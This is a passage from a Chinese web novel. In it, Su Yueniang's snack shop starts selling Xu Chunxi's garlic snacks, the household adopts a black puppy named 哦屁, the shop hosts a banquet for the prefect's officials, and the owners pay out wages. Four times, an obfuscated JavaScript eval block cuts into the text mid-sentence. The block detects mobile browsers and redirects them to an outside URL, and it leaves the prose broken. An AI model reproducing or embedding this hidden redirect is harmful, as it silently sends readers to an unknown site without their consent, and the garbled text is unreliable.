许春喜下意识摇头，“你就别说笑了，我这个半吊子的手艺最多去陈头家的作坊里面干点散活，要真让我开一家店，怕是连头一个月都熬不过去……” 从前，许东山还没从战场上回来的时候，许春喜不是没尝试过坚持一下面线糊店的营生，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552716|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事实证明就算厝边们有心照顾她的生意，她也依旧没有能耐将生意做好。 “你不试试怎么知道不行呢？明天你在厨房外边把剩下的蒜蓉枝摆上，你看看中午之前是不是能卖光！” 许春喜面露迟疑，“真让我摆啊？你不怕我将你的生意都抢光吗？” 苏月娘听这话，笑得都直不起腰了，“你就算摆二十斤蒜蓉枝也不会影响我的生意！而且，只要你想摆，随你摆多久都可以！” 既然这样，许春喜也就应下了苏月娘试水的提议。 —— 又是崭新的一日。 许春喜起床之后，头一件事就是去包子铺上买了几包包子，顺带朝包子铺头家要了一小叠油纸。 等她回到家里，许东山已经帮她支了一张小桌，并将剩下两斤蒜蓉枝摆上了。 “真的会有人买吗？” 许东山拿着湿布擦拭着杆秤上落的灰，“你在作坊做的碱仔粿不都卖出去了吗？你怎么还担心这个？” “是啊！你别担心这个！就算卖不出去咱们一家人自己吃了也好！”林大松这话一出，就挨了许东山和苏月娘的白眼。 …… 镇子上起得最早的依旧是生意人和读书人。 今日，吴头家又牵着因为不想大冷天起床读书而哭丧着一张脸的孙儿上门了。 一进门，吴头家孙子的哭声便差点将房顶震塌了。 “你别哭了，阿公今天给你多加几样料！你想吃什么就吃什么！” 吴头家抱着闹腾的孙子去到厨房外的小窗，叫他自己挑料。 吴头家的孙子并不领情，“不！就算你给我买豆花，买包子，买马蹄酥都不能哄我去学堂！” 苏月娘从厨房里走出来，顺手从盆里捏出一个小蒜蓉枝趁机塞进吴头家孙子的嘴里。 “阿墩尝尝这个！这个可好吃了！” 吴头家的孙子阿墩下意识一嚼，泪眼顿时亮了几分。 “是蒜蓉枝！” “好吃吗？”苏月娘掏出一块小手帕给阿墩擦眼泪。 阿墩点了点头，指着盆，道：“阿公，买这个。” “哟！你家又上新东西了！姜母鸭都没尝上呢，就又有了蒜蓉枝！”吴头家见阿墩因为蒜蓉枝而止住眼泪，便大手一挥，“我给你买蒜蓉枝！你乖乖去念书！” 阿墩连忙点头。 “给我装个半斤吧！” 苏月娘朝着厨房里喊道：“春喜，出来称蒜蓉枝了！” 许春喜没想到蒜蓉枝的生意这么快就来了，她匆匆擦了手，跑到外头去给吴头家装蒜蓉枝。 吴头家询问苏月娘这蒜蓉枝要多少钱。 “蒜蓉枝是春喜的生意，价钱你得问她。” 许春喜手脚麻利地称了半斤蒜蓉枝后，又往上添了一两，“一斤十二文，半斤算五文钱好了！” “我就不跟你客气了，说不定以后我还得时常来照顾你的生意呢！”吴头家不知什么时候自己摸了一个蒜蓉枝嚼起来。 虽然吴头家牙口不怎么好，嚼得有点艰难，但是他还得夸这蒜蓉枝味道很不错。 第一笔生意做成了，许春喜满心欢喜地摸着兜里的五文钱。 这可比当时在街上靠碱仔粿卖钱来得开心。 75. 小狗哦屁 吴头家和阿墩离开之后，天已全亮，其他客人们这才慢慢悠悠地到店里来喝面线糊。 清早这一段时间三四个人足以对付了，苏月娘也就趁此时还算清闲，提上篮子出去采买了。 “我要出去买东西，大家有什么要带的？” 林大松头一个探头，还没出声，苏月娘便朝他摆摆手，“我知道你，你是两个肉包子。” 林大松又把头缩了回去。 “我没什么要带的。”许东山一向有什么吃什么，从不挑食。 “那我也给你买肉包子！”苏月娘取了点钱，提上她的大挎篮出门去了。 这大清早的，街上人还不算太多，才刚走出巷子一截儿，苏月娘便碰见了一个认识的蟳埔阿嬷。 “月娘头家要点什么？蚵仔、花蛤、蛏子、鱿鱼、巴浪鱼都有！” 既然人家都招呼了，苏月娘也就直接走到她那儿去挑海货。 等走近了，苏月娘才发现这个阿嬷头上簪的花围比平日里稍大了一圈，花围四周还簪了样式漂亮的银簪。 “今日是什么好日子？” 那个阿嬷笑了，“还是你们后生家眼尖，今天是我生辰，就特地打扮了一下，就是可惜我家老头子那个没眼光的，还骂我闲的！” 虽说这样看着还是朴素，但对一个饱经风霜来说的蟳埔阿嬷，已然是不错的打扮了。 生辰可是大日子，苏月娘为这位阿嬷送上了祝福，“生辰安康啊！中午到我店里，我请你吃咸水鸭！” 阿嬷乐得直笑，“那我可得给你算便宜一点了！” 这位蟳埔阿嬷统共就挑了两个担子，苏月娘用两只指头在她筐里大致翻了翻。 “你的蚵仔我包圆了，你先帮我把壳去了！另外称两斤半花蛤、六条鱿鱼，这些东西我晚点过来取！” 买过了海货后，苏月娘继续去前边挑菜。 时候还早，东西多又新鲜，苏月娘几乎不费什么劲儿，便将需要的菜买齐全了。 苏月娘提着满满一篮菜往回走，途径一巷口，正好瞧见阿莲正在给人家打豆花。 计上心头，苏月娘轻手轻脚地走进了巷子里。 阿莲的客人瞧见苏月娘，正想出声，苏月娘赶忙对他摇了摇头。 阿莲盛了满满当当一大碗豆花后，在上头淋上一大勺粘稠的红糖水后，递给了客人。 那碗豆花一离开阿莲的手，苏月娘便从后头猛地往阿莲腰上轻掐了一下。 毫无防备的阿莲惊叫一声，回过头发现了身后笑得爽朗的苏月娘，她嗔了她一眼。 “苏月娘！你吓死我了！” “谁知道你这么不经吓呀！”苏月娘忙拍了拍她的后背安抚她。 “吃了没？去你家给你盛两碗豆花？” 苏月娘瞥了阿莲筐子里的大桶一眼，今天阿莲的生意好像还不错，才这个时候，就已经卖出了小半桶豆花，若是再多走几条巷子，指不定可以全部卖完。 “改天吧！今天我哥他们点名要吃肉包子呢！” 既然如此，阿莲也就先给豆花盖上了纱布。 一直站在人家家门前说话到底是不太好，那厝边走进家门后，阿莲重新挑上担子，随着苏月娘走出了巷子。 正巧阿莲也要往上走，两个人结伴而行。 “前些日子听林木匠说你阿叔和你娘又让你去与人相看了，怎么样？可有中意的？” 阿莲叹息，“哪那么容易找到一个中意的？我岁数这么大了，与我相看的那些人就没几个像样的，不是生得难看，就是好吃懒做的！” 看着五官清秀还勤快的阿莲，苏月娘好一阵心疼。 阿莲也不乐意提自己的婚事，“对了，我家狗母前两天一口气下了五只狗崽，你店里缺看门狗吗？我送你一只！” 虽说自家两个打过仗的青壮已经够用了，但是苏月娘还是对阿莲口中的狗崽十分感兴趣。 “都有什么花色的？” “哪有什么花色……我家的狗母不知道什么时候找了个黝黑的相好，这一窝五只狗崽全是黑毛的！” 虽说黑色狗崽瞧着黑黢黢的，并不如其他颜色的狗崽看着可爱，但苏月娘还是决计领一只回家养。 “等你豆花卖完了，我去你家领一只！” “今日你寄在我家的鸭子要杀，正好午后我连鸭带狗给你送过去！我一定给你挑一只肥嘟嘟好养活的！” 两人说定了送狗崽的事后，便在蟳埔阿嬷那处分开了。 —— 苏月娘左手提篮，右手拎包子回到了家。 堂屋里都是客人，她也不好占一张桌子，便将包子放到厨房供大家取。 苏月娘满心惦记着养狗的事情，挑了个豆沙包塞到嘴里，便往后头去了。 家里有两个年轻强壮的男人在，压根不会有贼人敢来冒犯。 所以这只小狗不必看家护院，它的小窝安在后屋便成。 给小狗搭屋子她可不会，倒是可以寻一些不要的破布团在一起放在后堂屋的角落里给它做睡觉的小窝。 …… 前头的客人越来越多，四个人忙得不可开交。 林大松夹料时盯了里外许久，都没瞧见苏月娘的影子。 “大哥，月娘不见好久了……得有快半个时辰了。” 许东山接过已经放了料的碗往里头盛面线糊，“她是不是出去了？” “我刚刚看她嘴里叼着个包子去了后面就一直没有出来……” 许东山眉头一皱，将大勺塞到林大松手里。 “我去后面看看。” 他疑心苏月娘身子不适，才一直没有出来做事。 他大步流星地去了后头，才踏出房巷，便瞧见蹲在后堂屋角落摆弄一堆布的苏月娘。 她摇头晃脑地哼着曲儿，看起来并不像是身子不适的模样。 许东山松了一口气，走上前去，拍了拍她的肩膀，“你在做什么？” 苏月娘美滋滋地朝许东山展示她刚刚给小狗团好的小窝，“我朝阿莲要了一只小狗崽，你看，这是我给小狗崽做的小窝。” 许东山对养狗没什么意见，他看了看苏月娘精心团好的小窝，刚想给面子地夸两句，可那小窝上的布料越看越眼熟。 他动手将小窝拉了过来，抓着窝沿看了一番，“……这布料怎么看着这么像我的衣服？” 这小窝可不就是他的一件袄子吗！ 苏月娘尴尬地笑了两声，“这不是看你衣裳太旧太破了，索性拿来给小狗做窝。” 许东山，“……它是有窝了，那我穿什么？” “成亲前不是才给你做了两身新的吗？” 许东山，“穿那样的好衣裳去厨房里做事简直是糟蹋！” 许东山节俭惯了，虽然成亲前做了新的冬装，但他还是依旧穿着从前的衣裳去厨房做事。 对于丈夫这样的想法，苏月娘只是回以一个白眼，“新衣裳给你做了你不穿，你这才是糟蹋！穿着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552717|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身破布的你跟我走在街上不知道的可不会以为我们是夫妻……” 许东山眉头一皱，语气发闷，“一男一女走在一起不是夫妻，还能是什么？” “像大小姐和她家里的苦工！” 这有点离奇的形容叫许东山愣了愣，但一想，这形容倒还算是有些贴切，还没成亲时，她是随随便便就能拿出碎银送人的头家，而他是她雇的厨子…… “随你吧……”许东山说不过苏月娘，就只好先去前头干活。 —— 午后，阿莲挑着八只杀好的鸭子与一只小小的黑狗崽去了月娘小吃铺。 苏月娘早早地站在巷口等着，瞧见阿莲挑担的身影，她赶忙蹿了出去。 “快快快……小窝都准备好了！快让我瞧瞧小狗崽！” 阿莲无奈地催她往前走，“你快往前走！回屋了再看！别让小狗着凉了！” 总算护着小狗崽到了家里，苏月娘鸭子都顾不上管了，就端着阿莲的筐子跑到后屋去。 筐子轻轻落地，苏月娘翻开了布往里瞧，只见里头有一只眼睛溜圆又漆黑的黑色小土狗趴在厚布团上。 苏月娘小心翼翼地伸手将小狗崽慢慢地捧了出来，这黑漆漆的小狗崽很是温顺，不仅脑袋一歪整只趴在苏月娘的手里，甚至还伸长舌头，舔了舔苏月娘的掌心。 “真乖真乖……”苏月娘哄小孩一样，轻轻抚摸着小黑狗的毛，这小黑狗眯了眯眼睛，看起来很是享受苏月娘的抚摸。 “这可是我特意给你挑的最肥的一只！平日里喝奶就数它最积极！”阿莲帮着苏月娘将这温顺的小黑狗放到了它的小窝里。 这小黑狗还不太会翻身，只能趴在窝里，睁着乌亮的眼睛瞧着不断凑近的四个人。 许春喜轻抚小黑狗的毛，“月娘快给它取个名字！” 名字这事儿，苏月娘还真琢磨了大半天，只是她肚子里没什么墨水，只会取“旺财”、“小黑”这样满大街都是的名字。 “让我再想想！我们小黑狗的名字可不能马虎！”苏月娘努着嘴，朝着小黑狗嘬嘬嘬，小黑狗给面子地朝着苏月娘哼唧了一声。 许春喜和林大松很是喜欢这只肥嘟嘟又浑身漆黑的小狗，夫妻俩蹲在边上，一个摸头，一个摸后背，就着这小狗要叫“招财”还是叫“哮天犬”展开了激烈的争吵。 就在夫妻二人争论不休的时候，安置好了鸭子的许东山洗了手来到后院，蹲在了这小黑狗的身后轻轻地拍了小黑狗的屁股一下。 “你别欺负小孩！”苏月娘瞪了许东山一眼。 “我就摸摸。”许东山抓起小狗的狗腿瞧了一眼，“是只公的。” “公狗叫哮天犬吧！多威风霸气！” “招财才好！财源广进，听着就有钱！” 许东山摸着小黑狗顺滑的毛，一只摸到它的头上，小黑狗微微仰头，舔了舔许东山的手，黑色的鼻子动了动，气息落在许东山的掌心。 许东山，“叫哦屁（黑鼻子）吧。” 还在争吵的许春喜和林大松顿时停止内讧一致对外。 “哥，你可以不说话的！” “月娘你说说他！” 苏月娘也很是不赞同，“你取的什么乱七八糟的？” “你乐不乐意叫哦屁？乐意就叫唤一声！”许东山难得和苏月娘作对。 怎知道这小黑狗还真发出一声微弱的叫声。 就此，它有了名字，是爹给取的。 叫，哦屁。 76. 宴贵客 阿生去外头疯跑一圈回来后，得知阿莲姑姑已经将小狗送来了，忙跑去后堂屋看小狗。 “嘬嘬嘬！嘬嘬嘬！嘬嘬嘬！”阿生蹲在哦屁前面，对着哦屁一阵勾手。 哦屁半梦半醒的之间迷糊看见一个小孩在逗自己，半点不理会，动了动脑袋，继续枕在两条并拢的前腿上打瞌睡。 “你今天回来这么早啊？”苏月娘端着一小盆温热的羊奶走了过来。 “我回来看小狗！它长得好黑，黑得都发亮了！”阿生见哦屁懒洋洋的，便伸手轻轻抚摸它的脑袋。 苏月娘将羊奶放到哦屁面前，哦屁自己闻着羊奶味儿清醒过来，微微支起身子，将小脑袋探进比它头都大的盆口里，伸出舌头，舔一舔盆里的羊奶。 “干娘，小黑狗它有名字吗？” “你臭干爹给它取名叫哦屁！”哦屁憨态可掬，苏月娘看着它的眼神无比慈爱。 阿生眉头一皱，却还是“哦屁哦屁”地叫了好几声。 哦屁懒洋洋地赏了他一个眼神，阿生开心地咧着嘴角。 干母子二人蹲在那儿，一动不动地盯着哦屁喝完了羊奶后，又慢吞吞地自己缩回了温暖的被窝里。 “你在这儿陪哦屁玩，我去前面做事了！”苏月娘细心地给哦屁盖上小铺盖后，便站了起来。 “我一定会看好哦屁弟弟的！”阿生拍了拍胸脯。 …… 哦屁还太小，走路还走不利索，吃饭便只能由旁人帮着送到它的小窝边。 傍晚的羊奶是许东山来送的。 看着眼睛黑亮亮、喝奶前先伸脖子舔自己掌心的狗儿子，许东山心里头还是必不可免地“铁汉柔情”了一番。 “外面冷，我带你去屋里喝奶。”许东山觉得哦屁待的地方直面天井，省不得要遭冷风吹，便一手端狗碗，一手端狗窝和狗儿子，去到了房里。 房里的位置够大，许东山将哦屁安置在了床尾，看着它吭哧吭哧地舔了半碗羊奶，许东山才心满意足地去前面做晚饭。 许东山出去时，刘昌正好走进大门。 “刘叔。”许东山原要进厨房做饭，见刘昌过来了，便折回堂屋，请刘昌入座，“是为了周大人的宴请来的吗？” 明日就是休沐日，周伯益将带着他的下属们过来品尝许东山的手艺。 “对！我先过来问问你和月娘有什么安排！” 许东山只负责做菜，旁的事情还需要询问苏月娘。 “月娘，刘叔过来问明天的安排！” 苏月娘听到许东山的叫唤，放下菜刀，马虎冲了手，便出去了。 “刘叔，我是这样想的，毕竟接待的是衙门里的大人，凡事都马虎不得，所以，我明日中午不做别人的生意，专门将地方空出来招待几位大人！” 刘昌听了后，连连摆手，“你可千万别这么做！虽说这算是周大人私底下请客吃饭，但这饭也不是干吃的，吃饭之余，诸位大人还要体察民情！所以，明日中午你生意照做！” 苏月娘点头应下，“那在吃食方面，周大人或者是刘叔有什么需要吩咐的？” “这一点周大人倒是没有说什么。”刘昌捋着胡须，“反正这是周大人的局，他也在你家吃了这么多回了，你们也懂他爱吃什么，一切按照他的口味来！” 苏月娘撞了撞许东山的胳膊，示意许东山牢记这一点。 “另外，为了不引起百姓们的躁动，还请你保密大人们的身份！” 苏月娘郑重地点了点头。 —— 知府大人的饭局可不是能够马虎应付。 平日里都是睡到天亮才醒的苏月娘与许春喜难得跟着自家丈夫一起早起。 睡梦中的哦屁隐约听见床上的响动，歪了歪脑袋，艰难地睁开了眼睛。 苏月娘衣裳都没来得及换，便蹲在床尾，将又暖又软的哦屁从狗窝里抱了出来。 哦屁眯着眼睛，任由苏月娘在它脖子和后背上一顿乱蹭。 “哦屁这么早就醒了……”苏月娘在哦屁的狗头上亲了一口，“我们看看爹爹在做什么！” 苏月娘抱着哦屁走到许东山身边。 光裸着上半身的许东山被哦屁湿漉漉的鼻子蹭了一下，立即转过身去。 “爹爹跟我们哦屁问个好。”苏月娘拉着哦屁的前腿朝许东山挥了挥。 狗儿子哪里有妻子好看？许东山忽略了哦屁，俯下身，在苏月娘唇上亲了一口。 苏月娘嗔了他一眼，“叫你跟哦屁问好呢！你亲我做什么！昨晚还没亲够吗！” 许东山勾唇，一边穿着衣裳，一边继续凑过去，一连在苏月娘脸上亲了好几口才肯罢休。 被夹在两人中间的哦屁发出了弱小而又无助的哼哼声。 —— 今早的生意还是照常做。 昨天刘昌特意过来嘱咐不要将衙门那几位大人的身份说出去，所以今日月娘小吃铺里的五个人心里虽然紧张，但面上还是保持坦然，依旧与食客们谈笑风生。 当然，许东山也没有忘记对黄阿三的承诺。 今日，许东山特意让黄阿三手下的两个学徒过来帮忙打下手。 早上最忙的那一段过去了，大家便摩拳擦掌，开始准备中午的大事了。 开始干活之前，许东山将黄阿三的两个小学徒叫到了后院去。 他板着脸，背着手，压低声音道：“今天中午有贵客要来，你们打起精神做事！干得好了，一人五十文钱。” 听说过来和师叔学手艺还能有钱拿，两个小少年的眼睛都亮了。 毕竟在宴席班子里，黄阿三师父虽然免了他们的学费，包了他们的吃住，但他们平时额外的花销只能依靠家里寄来的钱。 五十文钱，当真是不少了！ 两个小少年立即直起腰杆，朝许东山保证一定会好好干活。 堂屋里的客人岁月静好地喝着面线糊，厨房里的几人却忙乱似打仗。 在宴席班子里待了一年多的两个小学徒倒是没让许东山失望，让干什么就干什么，半点差错没出，甚至普渡的时候，许东山让他们多练的刀工，至今也精进了不少。 大家有序地做事，临近中午饭点，供给常客的吃食与衙门大人们的宴食皆备齐全。 …… 衙门的大人们随时会上门，苏月娘早早地就在堂屋里等着了。 招待了几个常客入座后，衙门众人的身影总算出现在了巷口。 苏月娘牢记着刘昌的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558604|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话，并没有走出家门去迎接，只是端站在台阶上，等着大人们自己走过来。 一行共八人。 “还以为是酒家呢……没想到是一家小吃铺子……这能有什么好吃的？”跟在周伯益身后的那个大人面露疑惑。 这么个小地方能有什么？左右不过是面线糊、海蛎煎、米粉汤这样随处可见的市井吃食…… 周伯益并没有回答下属的疑惑，只是走在前头，背着手走到台阶下，朝着等候已久的苏月娘问好： “月娘头家，多有叨扰。” 苏月娘看刘昌眼色行事，笑着朝着周伯益道：“不会麻烦……饭菜已经备好了，大家快进来吧！” 大家跟随着苏月娘的步伐往堂屋里走。 后头还有人悄悄嘀咕，“这店虽然不怎么起眼，但是这里的掌柜倒是挺年轻漂亮的！” 刘昌，“月娘头家不仅长得漂亮，而且还是个十足的好人！那时候我爹在巷口晕过去了，此处没人敢搭救，只有月娘头家叫她家厨子将我爹背进她家去躺着！” 众人听了，倒是对这个看着年轻漂亮的头家高看了一眼。 一众着细布衣衫的贵人走入堂屋，周围的食客们不禁朝他们投去好奇的眼光。 “几位快坐！我这就去叫人上菜！” 苏月娘用上回没有送出的大红袍泡了一壶茶送上桌供大人们先解渴。 边上有熟客还拉着苏月娘问道：“月娘头家，这几个人是谁啊？怎么穿这么好？” 苏月娘只道：“只是做生意的罢了！” 那人听了似信非信。 厨房里的众人依次将菜品端出来。 依刘昌的意思，今日的菜品不能够过于精致，但也不能够太粗糙，于是许东山将宴席菜摆得粗糙了点，又将家常硬菜弄得精致了一下，这样一来，这一桌子菜倒也没有一道突兀的。 周伯益瞧见当中有自己爱吃的甘蔗焖羊肉时，笑着朝身边的下属介绍道： “冬至那天我来他家蹭了一顿，这甘蔗焖羊肉叫我一直惦记到了现在。” 都是见识过好东西的官员，这一桌子看着并不怎么精致的菜品，还是叫他们有些看不上。 待官阶最高的周伯益动了筷子之后，那些个官员们才夹那受过周伯益夸赞的焖羊肉一尝。 在座除了周伯益与刘昌外，皆是北方人。 他们在北方生活时，多是食用羊汤、涮羊、烤羊之类的吃食，如此吃法倒是没怎么见过。 为了照顾这些贵客的口味，许东山特意往里头多添了几枚番姜，令这甘蔗焖羊肉味道更加辛辣。 没成想，方才还看不上这甘蔗焖羊肉的大人们，此时竟然就着碗中的一小团米饭，大口大口地吃起焖羊肉。 苏月娘与许东山见大人们愉快地尝起了菜，便悄悄地回了厨房。 大家伙忙问道：“怎么样？那些当官的有没有嫌弃咱们的东西？” 苏月娘笑着摇了摇头，“我和阿山进来的时候，那盆羊肉都被吃了一半了……早知道就多焖一些了！” 这话大家听了都高兴，但最高兴的当数那两个小学徒。 他们全程没犯错，且客人高兴，先前许东山许诺的五十文钱指定马上就能够到手了！ 77. 分工钱 怕叨扰到几位大人们，苏月娘只叫红姑在外头跟着自己一起给常客们端饭，顺便拾掇桌上的碗筷与脏污。 大人们的吃食叫别的食客十分感兴趣。 苏月娘走近时，食客们还兴致勃勃地问道：“月娘头家，你们家可是打算改名为酒家了？怎么今日还有如此好的菜？” “今日只是偶然，那几位做生意的老爷听说我家阿山手艺好，特意过来尝尝！” 那人若有所思地笑了笑，“这指定是给了你不少钱，你才肯单为他弄上一桌好菜！月娘头家，你真是交大运了！” 苏月娘也觉得自己交大运了，但她还是得谦虚一番，“好狗命（1）罢了……” 这时候，后头传来了刘昌的喊声。 “月娘头家，咸水鸭与姜母鸭各来一只！” 今日怕几位大人一时兴起想要加菜，苏月娘特意叫许东山每样菜多备上一些，以备不时之需。 因此，每日只限四只的姜母鸭，今日还多做了一只。 “好嘞！您稍等！”苏月娘冲刚刚还在和自己聊天的客人笑了笑，“您吃好喝好，我先去忙了，饭不够叫红姑拿去厨房里添！” 虽说今日有贵客在，但也不能够怠慢了常客。 …… 今日毕竟是周伯益私下请客，几位大人也不复平日里在衙门里当差那般严肃。 在周伯益的默许下，刘昌为诸位大人们朝苏月娘要了点自酿的米酒。 虽说这自酿米酒味道较为粗糙，但有一桌子好菜作配，几个大人们也没太过计较这一点不足。 几位大人边吃边聊，一直吃到了别的客人们都走光了才罢休。 苏月娘见好几位大人喝得面色泛红，特意叫许春喜熬了一壶解酒茶送过来。 苏月娘给几位大人们倒解酒茶时，那几位大人纷纷侧着脑袋，用帕子擦去残留在胡须上的汤汁。 倒好解酒茶之后，苏月娘提着茶壶默默地退到了一旁去。 那些个大人们喝完了解酒茶后，发觉时候不早了，便起身要走。 苏月娘喊上许东山一起去门边送客。 那几位大人凑在一块儿嘀嘀咕咕的，他们说的是官话，苏月娘和许东山听不懂一点，但瞧他们面上的笑容，便知道，这一顿他们吃得极为开心。 诸位大人们走出了巷口，刘昌才慢悠悠地从屋里走出。 “刘叔。”许东山与苏月娘收回视线，朝刘昌点头致意。 刘昌摸着圆滚滚的肚子，笑道：“你们两个倒是聪明，将东西做得味重，那几位北方来的大人都很满意！” 苏月娘眉眼弯弯地瞧了许东山一眼，“是阿山聪明！” 许东山虽然没什么表情变化，但却悄悄握住苏月娘的手，轻轻捏了一把。 眼前的小夫妻如此腻歪，刘昌瞧得笑个不停，“还真是什么好事都叫你们两个占尽了！不仅是新婚，还得了一笔意外之财！” 小两口有些不解。 何来意外之财？ 紧接着，刘昌从袖子里掏出两个荷包塞给了苏月娘。 “这蓝色的，是周大人给的菜金，另外这个焦色的，是我们同知赵大人赏的！” 手中捧着的两个荷包沉甸甸的，苏月娘下意识要退还回去。 “先前您不是给过一笔钱的吗……这些我们不能要……” 刘昌“啧”了一声，“你这孩子怎么这么傻！又不是随便什么东西都能入得了两位大人的眼！你且将钱手下，莫叫两位大人觉得你瞧不上他们的‘臭钱’！” 苏月娘自然是不想叫两位大人误会自己对他们有什么不满，便只好将钱收下了，并叫刘昌代为道谢。 …… 能得这么一大笔钱，是店里每个人包括那两个学徒的功劳。 苏月娘从荷包里掏了两枚碎银，给了那两个小学徒。 预想中的五十文忽然翻了倍，可叫那两个小学徒乐疯了，两人如获至宝一般朝着苏月娘再三道谢后便乐呵呵地回宴席班子去了。 …… 午后，大家一齐将店里拾掇干净后，便各自了一处地方歇息。 苏月娘与许春喜抱着裹着小被的哦屁亲来亲去，红姑端着布筐给阿生做年兜穿的新衣。 无人在意的许东山和林大松门神一般，分坐在大门两边，看着自己的妻子逗弄哦屁。 几人才闲了不到半个时辰，竟然又有人上门了。 “现在不是饭点，店里只有面线糊。”坐在门边的许东山站起来解释道。 那几个阿婶阿婆是镇上的街坊。 “我们不是来吃饭的！” “那你们是……” “听说知府衙门的大人们来你们这儿吃中午饭了？！” 许东山下意识看向苏月娘，苏月娘皱着眉头，抱着哦屁站起身来，“你这是那儿听的？” 其中一位本家的阿婆神秘兮兮地压低声音，“刚刚那些大人走在街上叫一个打过官司的生意人认出来了！我们可都瞧见，那个人喊了声大人之后都跪下了！” 另外一个脸生的阿婶也道：“不仅如此，还有你家的客人也在边上，他们说那几个官老爷中午是在你家吃的呢！” “月娘，阿山，你们小两口可真是命好！居然能搭上这些当官的关系！我看啊……你们两个就快要发达喽！” 这些阿婆阿婶们你一言我一语地说了起来。 她们可比苏月娘这个头家还激动。 苏月娘都插不进话，索性就站在那儿任她们说，不承认也不否认。 凤池镇也就那么大，知府衙门的大人们去月娘小吃铺吃饭的事情跟生了翅膀一般，传得到处都是。 莫管是去过月娘小吃铺的，还是没去过月娘小吃铺的，都纷纷上门，想要尝尝官老爷们多加赞赏的咸水鸭与姜母鸭。 这还是头一回，苏月娘瞧见客人们从自家门口一直排到了巷子外去。 李金花看着自家的冷清与隔壁的热闹，恨得牙痒痒。 她几次吆喝，排在隔壁的客人就是不进自家店里吃饭。 气急败坏的李金花冲回厨房，对着坐在灶边塞柴火的许二福又打又骂： “都怪你没本事！凭什么隔壁能和当官的搭上关系，你就不行！” 等李金花发泄够了，离开了厨房，许二福才想起几个月前，李金花拒绝让刘昌的爹到自家歇息的事。 他对着灶火叹了声气。 有些东西啊，都是注定好的…… —— 今日傍晚的生意太过红火，几人一直忙到了天黑，将店里的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564316|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西卖得半点不剩了，才关上店门，结束这一日的忙碌。 如此好的日子，本该吃点好的，但大家都累了一日了，也折腾不来其他的吃食了，便随意煮了点米粉汤对付一顿。 吃过米粉汤后，苏月娘叫大家伙留下。 正好今日是苏月娘成亲后开店一个月的日子——该发工钱了。 原先还满脸疲惫大家一听要发工钱，立即“活”了过来，兴致勃勃地围坐在桌边等苏月娘发钱。 钱串是苏月娘一早备好的，只需要按照人头挨个分下去便好。 大家得了工钱，面上一派喜气洋洋的。 当然，苏月娘没有忘记要同大家分一分两位大人给的赏钱。 这笔钱，自己这个头家留三成，剩下的便折成铜钱，平均分给其他四个人。 大家原是不想要这笔钱的，但架不住苏月娘与许东山再三劝说，他们才将这笔钱收下。 …… 夜里，最后一个洗身子的许东山摸黑回了屋，一进门，他便瞧见苏月娘坐在床上，身上罩着被子，窸窸窣窣地在做着些什么。 成亲一个月了，许东山大概猜出苏月娘这是在解寝衣下的小衣。 他不动声色地看了她好几眼后，蹲在床尾，将熟睡的哦屁连狗带窝地挪到了外头去。 睡得极为香甜的哦屁丝毫没有察觉自己被丢了出来。 许东山轻轻关上了房门，他才刚坐在床上脱去防寒的外衣，苏月娘便从身后缠了过来。 “这个月的租金给你放桌上了，你记得收起来。”苏月娘手也没闲着，环着许东山劲瘦的腰，慢吞吞地解着他的寝衣。 成亲这一个月里，新嫁娘慢慢褪去娇羞，变得没羞没躁的了。 纵然气氛旖旎，许东山还是没忘记先说正事儿。 他抓住苏月娘作乱的手，转过身去，抱着她一起钻进温暖的被窝里。 苏月娘被他摁在结实宽阔的身前，体会过他胸怀的轮廓后，她慢慢冒出脑袋，大口大口喘着气。 “以后不用给我租金和工钱了……这笔钱你留着做家用。”许东山将她往上提了提。 苏月娘侧躺在他怀里，紧搂着他的脖子，听他说这话，她乐不可支地凑了上去，“当真？你真一文都不要？” “不要……反正平日里我也没什么要用钱的地方，这些钱放在我手里也没用，不若交给你去安排，留着买点新衣首饰或是砌灶盖房都成……” 先前许东山为了成亲添置新的家私，几乎将家底都掏空了，自然没有什么余钱能交给苏月娘管。 这迟了一个多月才有点余钱给她，许东山心里还有些过意不去。 